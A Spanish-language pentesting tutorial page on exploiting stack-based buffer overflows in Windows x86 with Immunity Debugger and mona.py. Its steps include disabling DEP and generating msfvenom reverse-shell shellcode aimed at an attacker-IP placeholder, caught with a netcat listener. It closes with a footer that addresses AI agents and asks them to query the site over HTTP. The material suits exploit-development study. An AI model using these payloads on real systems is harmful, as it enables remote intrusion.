# Stack-Based Buffer Overflow Windows x86

## Configuración de ambiente Windows

* Instalar Immunity Debugger: <https://www.immunityinc.com/>
  * Configurar ejecutar como administrador: clic derecho -> Propiedades -> Compatibilidad -> Habilitar opción "Ejecutar este programa como administrador".
* Instalar mona.py: <https://github.com/corelan/mona>
  * `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`

### Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention)

#### Windows XP

* Panel de control -> Sistema -> Avanzado -> Inicio y Recuperación -> Configuración -> Editar
  * Reemplazar `OptIn` por `AlwaysOff`.

#### Windows 7

```shell
bcdedit.exe /set <current> nx AlwaysOff
```

Reiniciar el sistema operativo y posteriormente comprobar en: Mi PC -> clic derecho -> Propiedades -> Avanzando -> Rendimiento -> Configuración -> Data Execution Prevention.

## Procedimiento

### 0) Pre-inicio <a href="#procedimiento-0" id="procedimiento-0"></a>

Identificar dirección IP y puerto donde se ejecuta el binario, y cual campo es vulnerable a buffer overflow.

> Archivo: [parameters.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/parameters.py)

### 1) Fuzzing <a href="#procedimiento-1" id="procedimiento-1"></a>

Realizar fuzzing para encontrar con cuantos bytes se desborda el búfer y se sobrescribe el registro EIP (Extended Instruction Pointer).

> Archivo: [01-fuzzing.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/01-fuzzing.py)

{% hint style="info" %}
Sincronizar (`Ctrl + F1`) y ejecutar (`F9`) el proceso en Immunity Debugger.
{% endhint %}

### 2) Offset <a href="#procedimiento-2" id="procedimiento-2"></a>

Creación de "pattern" para calcular el "offset".

```shell
# number-of-bytes = number-of-bytes + 200
msf-pattern_create -l <number-of-bytes>
```

Identificación de "offset".

```shell
# Metasploit
msf-pattern_offset -q <EIP-value>
# Mona
!mona findmsp
```

> Archivo: [02-findOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/02-findOffset.py)

### 3) Verificar el offset <a href="#procedimiento-3" id="procedimiento-3"></a>

Verificar el "offset" identificado y control del EIP.

```
fuzzing = offset + BBBB + CCCC + padding
offset  = AAAA... 41414141...
EIP     = BBBB    42424242
ESP     = CCCC    43434343
padding = DDDD... 44444444...
```

> Archivo: [03-checkOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/03-checkOffset.py)

### 4) Buscar los badchars <a href="#procedimiento-4" id="procedimiento-4"></a>

```shell
# Configuración de carpeta de trabajo en Mona
!mona config -set workingfolder c:\mona\%p
# Generación de badchars
!mona bytearray
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrado
!mona bytearray -cpb "\x00"
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrados
!mona bytearray -cpb "\x00\x0a"
```

> Archivo: [04-badchars.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/04-badchars.py)

### 5) Encontrar "JMP ESP" <a href="#procedimiento-5" id="procedimiento-5"></a>

Verificación de badchars.

```shell
!mona bytearray -cpb "<badchars>"
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
```

* \<badchars> = `\x00\x0a\x0d`

Obtención de dirección "JMP ESP" utilizando Mona.

```shell
msf-nasm_shell
jmp esp
FFE4
```

```shell
# FFE4 = \xff\xe4\
!mona modules
# Dynamic-Link Library (DLL)
!mona find -s "\xff\xe4\" -m <name.dll>
# Executable (.exe)
## opción 1
!mona jmp -r esp -cpb <badchars>
## opción 2
!mona jmp -r esp -m <name.exe>
```

Obtención de dirección "JMP ESP" utilizando `findjmp.exe`.

```shell
findjmp.exe
findjmp.exe <name.dll> ESP
```

> Archivo: [05-jmpESP.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/05-jmpESP.py)

### 6) Exploit <a href="#procedimiento-6" id="procedimiento-6"></a>

Generación de shellcode.

```shell
# Windows
## reverse shell
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -a x86 --platform windows -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python
## abrir calculadora de Windows
msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python

# Linux/Unix
## reverse shell
msfvenom -p linux/x86/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
```

* \<badchars> = `\x00\x0a\x0d`

Ejecutar exploit de buffer overflow.

```shell
# Netcat
nc -lvnp <listen-port>
# Ejecutar exploit de buffer overflow
python3 exploit.py
```

> Archivo: [06-exploit.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/06-exploit.py)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/explotacion/stack-based-buffer-overflow-windows-x86.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
